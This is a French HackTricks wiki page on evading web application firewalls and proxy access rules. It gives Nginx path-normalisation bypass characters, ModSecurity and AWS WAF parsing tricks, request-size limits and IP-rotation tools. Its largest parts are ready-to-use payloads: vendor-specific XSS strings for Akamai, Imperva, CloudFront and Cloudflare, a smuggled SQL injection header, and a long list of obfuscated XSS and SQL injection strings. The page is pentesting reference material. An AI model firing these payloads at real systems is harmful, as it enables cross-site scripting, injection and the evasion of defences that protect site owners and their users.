Contournement des protections Proxy / WAF
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Contourner les règles ACL de Nginx avec Pathname Manipulation
Techniques issues de cette recherche.
Exemple de règle Nginx:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Pour empêcher les bypasses, Nginx effectue une normalisation du chemin avant de le vérifier. Cependant, si le serveur backend effectue une normalisation différente (supprimant des caractères que nginx ne supprime pas), il peut être possible de contourner cette défense.
NodeJS - Express
| Nginx Version | Node.js Bypass Characters |
|---|---|
| 1.22.0 | \xA0 |
| 1.21.6 | \xA0 |
| 1.20.2 | \xA0, \x09, \x0C |
| 1.18.0 | \xA0, \x09, \x0C |
| 1.16.1 | \xA0, \x09, \x0C |
Flask
| Nginx Version | Flask Bypass Characters |
|---|---|
| 1.22.0 | \x85, \xA0 |
| 1.21.6 | \x85, \xA0 |
| 1.20.2 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
| 1.18.0 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
| 1.16.1 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
Spring Boot
| Nginx Version | Spring Boot Bypass Characters |
|---|---|
| 1.22.0 | ; |
| 1.21.6 | ; |
| 1.20.2 | \x09, ; |
| 1.18.0 | \x09, ; |
| 1.16.1 | \x09, ; |
PHP-FPM
Nginx FPM configuration:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
Nginx est configuré pour bloquer l’accès à /admin.php mais il est possible de contourner cela en accédant à /admin.php/index.php.
Comment prévenir
location ~* ^/admin {
deny all;
}
Contournement des règles ModSecurity
Confusion de chemin
Dans cet article il est expliqué que ModSecurity v3 (jusqu’à 3.0.12), a implémenté de manière incorrecte la variable REQUEST_FILENAME qui était censée contenir le chemin accédé (jusqu’au début des paramètres). Ceci parce qu’il effectuait un décodage de l’URL pour obtenir le chemin.
Par conséquent, une requête comme http://example.com/foo%3f';alert(1);foo= dans mod security supposera que le chemin est juste /foo parce que %3f est transformé en ? terminant le chemin de l’URL, mais en réalité le chemin que le serveur recevra sera /foo%3f';alert(1);foo=.
Les variables REQUEST_BASENAME et PATH_INFO étaient également affectées par ce bug.
Un cas similaire est survenu dans la version 2 de ModSecurity qui permettait de contourner une protection empêchant l’accès à des fichiers avec des extensions spécifiques liées aux sauvegardes (comme .bak) simplement en envoyant le point encodé en %2e, par exemple : https://example.com/backup%2ebak.
Contournement d’AWS WAF ACL
En-tête malformé
Cette recherche mentionne qu’il était possible de contourner les règles AWS WAF appliquées aux en-têtes HTTP en envoyant un en-tête “malformé” qui n’était pas correctement parsé par AWS mais l’était par le serveur backend.
Par exemple, en envoyant la requête suivante avec une injection SQL dans l’en-tête X-Query:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
Il était possible de contourner AWS WAF parce qu’il ne comprenait pas que la ligne suivante faisait partie de la valeur de l’en-tête alors que le serveur NODEJS le faisait (cela a été corrigé).
Contournements génériques de WAF
Limites de taille des requêtes
Les WAF ont souvent une limite de longueur des requêtes à inspecter ; si une requête POST/PUT/PATCH la dépasse, le WAF n’inspectera pas la requête.
- For AWS WAF, you can consulter la documentation:
| Taille maximale du corps d'une requête web pouvant être inspectée pour les protections Application Load Balancer et AWS AppSync | 8 KB |
| Taille maximale du corps d'une requête web pouvant être inspectée pour les protections CloudFront, API Gateway, Amazon Cognito, App Runner, et Verified Access | 64 KB |
- D’après les docs Azure:
Les anciens Web Application Firewalls avec Core Rule Set 3.1 (ou inférieur) autorisent des messages supérieurs à 128 KB en désactivant l’inspection du corps de la requête, mais ces messages ne seront pas vérifiés pour des vulnérabilités. Pour les versions plus récentes (Core Rule Set 3.2 ou supérieur), la même chose peut être faite en désactivant la limite maximale du corps de requête. Lorsque une requête dépasse la limite de taille :
Si en mode prévention : Enregistre et bloque la requête.
Si en mode détection : Inspecte jusqu’à la limite, ignore le reste, et enregistre si le Content-Length dépasse la limite.
- D’après Akamai:
Par défaut, le WAF n’inspecte que les premiers 8KB d’une requête. Il est possible d’augmenter la limite jusqu’à 128KB en ajoutant des Advanced Metadata.
- D’après Cloudflare:
Jusqu’à 128KB.
Lacunes d’inspection des ressources statiques (.js GETs)
Certaines piles CDN/WAF appliquent une inspection de contenu faible ou inexistante aux requêtes GET pour les ressources statiques (par exemple les chemins finissant par .js), tout en appliquant des règles globales comme le rate limiting et la réputation IP. Combiné à l’auto-caching des extensions statiques, cela peut être abusé pour livrer ou semer des variantes malveillantes qui affectent les réponses HTML ultérieures.
Cas d’utilisation pratiques :
- Envoyer des payloads dans des en-têtes non fiables (par ex.,
User-Agent) sur un GET vers un chemin.jspour éviter l’inspection de contenu, puis demander immédiatement le HTML principal pour influencer la variante en cache. - Utiliser une IP fraîche/saine ; une fois qu’une IP est signalée, des changements de routage peuvent rendre la technique peu fiable.
- Dans Burp Repeater, utilisez “Send group in parallel” (mode single-packet) pour mettre en concurrence les deux requêtes (
.jspuis HTML) via le même chemin front-end.
Cela se combine bien avec header-reflection cache poisoning. Voir :
Cache Poisoning and Cache Deception
Obfuscation
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
Compatibilité Unicode
Selon l’implémentation de la normalisation Unicode (plus d’infos here), les caractères qui partagent une compatibilité Unicode peuvent permettre de contourner le WAF et d’être exécutés comme le payload prévu. Les caractères compatibles peuvent être trouvés here.
Exemple
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
Contourner les WAFs contextuels avec des encodages
Comme mentionné dans this blog post, pour contourner des WAFs capables de maintenir un contexte de l’entrée utilisateur, on peut abuser des techniques du WAF pour en fait normaliser l’entrée de l’utilisateur.
Par exemple, dans le post il est mentionné que Akamai URL decoded a user input 10 times. Par conséquent quelque chose comme <input/%2525252525252525253e/onfocus sera vu par Akamai comme <input/>/onfocus ce qui pourrait être considéré comme correct car la balise est fermée. Cependant, tant que l’application ne décode pas l’URL 10 fois, la victime verra quelque chose comme <input/%25252525252525253e/onfocus qui est toujours valide pour une attaque XSS.
Cela permet donc de cacher des payloads dans des composants encodés que le WAF décodera et interprétera alors que la victime ne le fera pas.
De plus, cela peut être fait non seulement avec des payloads encodés en URL mais aussi avec d’autres encodages tels que unicode, hex, octal…
Dans le post les contournements finaux suivants sont suggérés :
- Akamai:
akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)> - Imperva:
imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999"> - AWS/Cloudfront:
docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)> - Cloudflare:
cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">
Il est aussi mentionné que selon la façon dont certains WAFs comprennent le contexte de l’entrée utilisateur, il peut être possible de l’abuser. L’exemple proposé dans le blog est qu’Akamai allow(ed) to put anything between /* and */ (potentiellement parce que ceci est couramment utilisé comme commentaires). Par conséquent, une SQLinjection telle que /*'or sleep(5)-- -*/ ne serait pas détectée et serait valide puisque /* est la chaîne de départ de l’injection et */ est commenté.
Ce type de problèmes de contexte peut aussi être utilisé pour abuser d’autres vulnérabilités que celle attendue pour être exploitée par le WAF (par ex. cela peut aussi servir à exploiter une XSS).
Lacunes d’inspection de la première instruction JavaScript inline
Certaines règles d’inspection inline ne parsent que la première instruction JavaScript présente dans un event handler. En préfixant une expression inoffensive entre parenthèses suivie d’un point-virgule (par exemple onfocus="(history.length);payload"), le code malveillant placé après le point-virgule contourne l’inspection tandis que le navigateur l’exécute toujours. Combiner cela avec le focus induit par un fragment (par ex., en ajoutant #forgot_btn pour que l’élément ciblé soit focus au chargement) permet un XSS sans clic qui peut immédiatement appeler $.getScript et bootstrap des outils de phishing tels que des keyloggers. Voir le attribute-only login XSS case study dérivé de this research.
H2C Smuggling
IP Rotation
- https://github.com/ustayready/fireprox: Génère une URL d’API gateway à utiliser avec ffuf
- https://github.com/rootcathacking/catspin: Semblable à fireprox
- https://github.com/PortSwigger/ip-rotate: Plugin Burp Suite qui utilise des IPs d’API gateway
- https://github.com/fyoorer/ShadowClone: Un nombre d’instances de conteneurs déterminé dynamiquement est activé en fonction de la taille du fichier d’entrée et du facteur de découpage, l’entrée étant divisée en morceaux pour exécution parallèle, par exemple 100 instances traitant 100 morceaux d’un fichier d’entrée de 10,000 lignes avec un facteur de découpage de 100 lignes.
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
Contournements Regex
Différentes techniques peuvent être utilisées pour contourner les filtres regex des firewalls. Par exemples : alternance de casse, ajout de sauts de ligne, et encodage des payloads. Des ressources pour les différents contournements sont disponibles sur PayloadsAllTheThings et OWASP. Les exemples ci-dessous proviennent de this article.
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
Outils
- nowafpls: Plugin Burp pour ajouter des données inutiles aux requêtes afin de contourner les WAFs en jouant sur la longueur
Références
- https://blog.hackcommander.com/posts/2025/12/28/turning-a-harmless-xss-behind-a-waf-into-a-realistic-phishing-vector/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/
- https://www.youtube.com/watch?v=0OMmWtU2Y_g
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


